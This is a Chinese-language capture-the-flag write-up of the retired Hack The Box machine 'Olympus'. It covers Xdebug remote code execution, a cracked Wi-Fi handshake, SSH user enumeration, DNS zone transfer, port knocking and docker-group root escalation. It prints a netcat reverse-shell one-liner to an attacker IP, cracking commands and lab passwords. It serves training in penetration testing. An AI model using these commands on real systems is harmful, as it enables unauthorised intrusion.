Olympus Writeup

概述 (Overview)

160a092d2bf397f6f8f49dc0d0ba4a83.png

HOST: 10.10.10.83

OS: LINUX

发布时间: 2018-04-22

完成时间: 2021-11-16

机器作者: OscarAkaElvis

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #Xdebug #Wi-FiEncryption #DNSZoneTransfer #PortKnocking #DockerEscape

攻击链 (Kiillchain)

  1. 通过 Nmap 扫描识别目标服务器开放端口。Nmap 是一款常用的网络扫描工具,可以用来扫描目标服务器的端口,帮助攻击者识别服务器上运行的服务和可能存在的漏洞。
  2. 在 Web 服务返回请求数据库中发现存在 Xdebug RCE 漏洞,并成功通过该漏洞进入了目标服务器所运行的 Docker 容器中。Xdebug 是一款常用的 PHP 调试工具,但是它也存在漏洞,攻击者可以利用这些漏洞进行远程代码执行 (RCE) 攻击。Docker 容器是一种用于管理应用程序的轻量级虚拟化技术,攻击者进入了 Docker 容器后就可以对应用程序进行更多的操作。
  3. 在容器中发现运行有 airgeddon 项目并且保存有无线握手抓包,利用 hashcat 成功得到一组明文密码。Airgeddon 是一款无线网络攻击工具,它可以用来抓取无线握手报文并使用 hashcat 破解。Hashcat 是一款常用的密码破解工具,可以用来破解加密的密码。
  4. 结合内容提示和 OpenSSH 用户枚举漏洞,成功横溢至另外一个 Docker 容器。在这一步中,攻击者利用了 OpenSSH 用户枚举漏洞,这是一种常见的攻击方式,目的是在服务器上寻找存在的用户帐户,并尝试猜测用户的密码。如果猜测成功,攻击者就可以使用用户的凭证来登录服务器,并获得相应的权限。
  5. 在提示信息中发现存在DNS区域传送漏洞,在 TXT 记录中发现另一段提示信息其中用到了 Port Knocking 技术。DNS 区域传送漏洞是指存在漏洞的 DNS 服务器可能会将请求传送到非法的位置,导致敏感信息泄露。Port Knocking 是一种用于保护服务器的技术,它可以通过连续发送特定的端口数据包来打开服务器的端口,从而使得服务器可以被访问。
  6. 最终使用 Port Knocking 和提示中的账号密码登录目标服务器的物理环境,并使用具备的 docker 组权限完成权限提升。在这一步中,攻击者利用了 Port Knocking 技术打开了服务器的端口,并使用提示中的账号密码登录了服务器。之后,攻击者使用了 docker 组权限,可能是通过提升权限或者其他方式,获得了更高的权限。这样,攻击者就可以对服务器进行更多的操作,并达到攻击的目的。

枚举(Enumeration)

老样子,开始使用 Nmap 对目标服务进行开放端口扫描:

PORT STATE SERVICE VERSION 53/tcp open domain (unknown banner: Bind) | fingerprint-strings: | DNSVersionBindReqTCP: | version | bind |_ Bind | dns-nsid: |_ bind.version: Bind 80/tcp open http Apache httpd |_http-title: Crete island - Olympus HTB |_http-favicon: Unknown favicon MD5: 399EAE2564C19BD20E855CDB3C0C9D1B | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache 2222/tcp open ssh (protocol 2.0) | fingerprint-strings: | NULL: |_ SSH-2.0-City of olympia | ssh-hostkey: | 2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA) | 256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA) |_ 256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519)

从结果中能够得到获知到对外暴漏三个端口,部署有 DNS 解析服务和 Apache Web 服务。而 SSH 服务则是个不常见的 protocol

Port 80 - Apache

用浏览器访问目标服务的 80 端口,从返回的响应数据包中能够发现存在 Xdebug: 2.5.5 的 header 信息。

Xdebug 是一个开放源代码的PHP程序调试器(即一个Debug工具),可以用来跟踪,调试和分析PHP程序的运行状况。它在开发过程中非常有用,但是如果没有正确配置,它就可能存在安全风险。

ebf06a4ceeb328d4ebaaaad9f66f2698.png

立足点(Foothold)

通过查阅网上相关文章,发现当 xdebug 小于 2.5.5 版本下,存在命令执行漏洞。参见: A Tiny Attack Surface

xdebug.remote_connect_back 选项被设置为 true 时,Xdebug 会连接到发送请求的客户端 IP 地址,这样开发人员就可以在本地调试远程程序。

这种配置方式存在安全风险,因为如果攻击者可以欺骗客户端的 IP 地址,那么他们就可以连接到 Xdebug 服务器,并获取程序运行时的信息。这些信息可能包含敏感数据,比如数据库用户名和密码,这些数据可能被攻击者利用来破解系统的安全。

根据文章中的代码块进行利用:

37032116c43061249e30e484c281313b.png

在图中的标记 3 中能获取到目标服务器上执行 id 命令的结果,说明该漏洞存在,随后执行反弹 shell 成功得到立足点。

system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.17.64 9900 >/tmp/f')`

9a0b503d2dc8cc72a4e3999b7fea2fd5.png

横向移动(Lateral Movement)

立足点的 shell 身份为 www-data,一般权限很低。所以接下来需要想办法进行用户间的横向移动。

转到 /home/zeus/airgeddon 目录,通过输出目录文件可以看到存在 .gitDockerfile 等文件名,说明可能存在容器运行的服务或者代码仓库。

...snip... drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .git ...snip... -rw-r--r-- 1 zeus zeus 3.3K Apr 8 2018 Dockerfile ...snip... -rw-r--r-- 1 zeus zeus 291K Apr 8 2018 airgeddon.sh drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 binaries drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 captured drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 imgs -rw-r--r-- 1 zeus zeus 16K Apr 8 2018 known_pins.db -rw-r--r-- 1 zeus zeus 670K Apr 8 2018 language_strings.sh -rw-r--r-- 1 zeus zeus 33 Apr 8 2018 pindb_checksum.txt

查看 .git 中的配置文件,排除了目标服务器存在自建带代码仓库的可能。随后通过查看本地 IP,网卡中并没有 10.10.10.83 这个地址,一般这种情况说明当前处于 Docker 容器里。

www-data@f00ba96171c5:/home/zeus/airgeddon$ ifconfig eth0 Link encap:Ethernet HWaddr 02:42:ac:14:00:02 inet addr:172.20.0.2 Bcast:172.20.255.255 Mask:255.255.0.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:955158 errors:0 dropped:0 overruns:0 frame:0 TX packets:925202 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:149243226 (142.3 MiB) TX bytes:397098628 (378.7 MiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:2245 errors:0 dropped:0 overruns:0 frame:0 TX packets:2245 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:175729 (171.6 KiB) TX bytes:175729 (171.6 KiB) www-data@f00ba96171c5:/home/zeus/airgeddon$

浏览 github 上的 airgeddon 项目,了解到它是一款 bash 编写的用于无线审计项目,可以和 aircrack-ng 应用一样用于破解无线密码握手包。其中在 captured 目录中找到同名的 .cap 文件( .cap 文件扩展名主要代表Wireshark数据包捕获 .cap 文件类型和格式)。

b75e8ef9b9aca06f9d9a1ac70c4782a1.png

将它传递至本地用 aircrack-ng 读取验证一下,发现存在一个有效的无线网络信息。

f0bb54ad25eeb9a915e8abdc1697bce9.png

直接使用 aircrack-ng 结合字典来破解速度较慢,所以需要结合 hcxpcapngtool 、hashcat 来进行快速的密码枚举。

$ apt install hcxtools $ hcxpcapngtool -o captured captured.cap $ hashcat -a 0 -m 22000 captured --force /usr/share/wordlists/rockyou.txt

等待一段时间后成功得到无线连接的明文密码:flightoficarus

6025ea517bca70a79211b45c28c2a035.png

但接下来容器内的权限提升失败了,提示这个密码错误。

3caf9676c7ae76ae222712232e6abe91.png


在这里中断了很久,最后根据 ssh 版本指纹信息找到了用户枚举漏洞

OpenSSH < 7.7 - Username Enumeration Exploit - CVE-2018-15473 https://github.com/epi052/cve-2018-15473.git

但是跑了一波字典后没有任何多余的收获,只能接着找其他信息了。

83e78977c0559bcd512f6f49a63d1933.png

注意到有一个 papyrus.txt 文件,输出内容为:

$ cat papyrus.txt Captured while flying. I'll banish him to Olympia - Zeus

结合 宙斯奥林匹克 等信息,猜测用户名可能是希腊神话中的一个,果然通过枚举验证存在 icarus 用户。但密码这里出现了问题,也不是 flightoficarus。心态炸裂…

最后还是在官方的论坛里找到了提示,使用 Too_cl0se_to_th3_Sun 作为密码完成了 SSH 登录,成功登录进了另外一台 Docker 容器。

sshpass -p 'Too_cl0se_to_th3_Sun' ssh icarus@10.10.10.83 -p2222

5b6ff254c87a1c6cafb2f7d998242788.png

权限提升(Privilege Escalation)

首先查看了下 hosts 文件,邦的 IP 与 hostname 指向的都是自己,而运行 Web 服务的那个容器 hostname 则是 f00ba96171c5 IP是 172.20.0.2,说明我们正在另外一台容器中。

icarus@620b296204a3:/home$ cat /etc/hosts 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.19.0.2 620b296204a3 icarus@620b296204a3:/home$ hostname 620b296204a3

我首先将 pspy 传递至容器中,想查看是否存有定时任务在后台运行,结果什么都没发现。

4a064faaef1e7bb477f43a931fe367eb.png

因为容器的体积很小所以一般是没有安装 ip、ifconfig 这类命令的,所以这里我参考 IPPSEC 以前视频中出现过的信息收集方式,通过查看 /proc/net/tcp 获取:

4fbc235bc05407dc9bf4ed5079d8ef6d.png

但这两个端口对我们来说没什么用,22 端口是映射的外部 2222 端口,37265 端口暂时未知。接着收集信息,在 /opt/static-binaries/binaries/ 目录下发现一段提示内容:

该用 wget 命令请求了下 172.20.0.1 ,检查下是否存在 Web 服务(请求 172.20.0.1 是为了验证物理机是否部署了 Web 服务,Docker 一般将容器机的网络首地址作为与物理机交互的地址)。

icarus@620b296204a3:~$ cat help_of_the_gods.txt Athena goddess will guide you through the dark... Way to Rhodes... ctfolympus.htb

首先通过 dig 去验证下 ctfolympus.htb 域名是否存在,发现采用 axfr 记录查询返回了很多域名,这种也叫DNS区域传送漏洞(很早就知道这个,但在正式的生产环境中我一次都没遇到过)。

0543ba69bba7fdedc9e65af2e2ce91f4.png

仔细观察,在 DNS 解析记录 TXT 中存在一段有意思的提示:

"prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!"

也是第一时间没看懂,去官方论坛中寻找解析后才知道这里用到了 Port Knocking 技术。

Port Knocking 是一种防火墙隐藏端口的技术,攻击者可以通过发送特定的网络数据包来打开隐藏的端口。

这种技术也用在一些特殊的防火墙、后门上,当我们依次扫描 3456、8234、62431 端口后,服务器上的 22 端口 SSH 服务将会被启动:

for x in 3456 8234 62431 22; do nmap -Pn --max-retries 0 -p $x 10.10.10.83; done

使用 prometheus : St34l_th3_F1re! 账户成功登录目标服务器:

2505ce174feedcf22029bc23b8bb817d.png

OK,已经成功处于容器外了,而且在 id 命令的结果中看到存在 docker 组权限。

这就简单了呀,我们只需要找到一个空容器,将根目录进行目录挂载就可以对目标服务器中任意内容进行读取、更改。

0af88b517795a1ced802ec777df91f65.png

复盘

对希腊神话中的名称进行大小写转换,用到的是 tr 命令

  • tr 命令可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。(将输入字符由大写转换为小写)


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。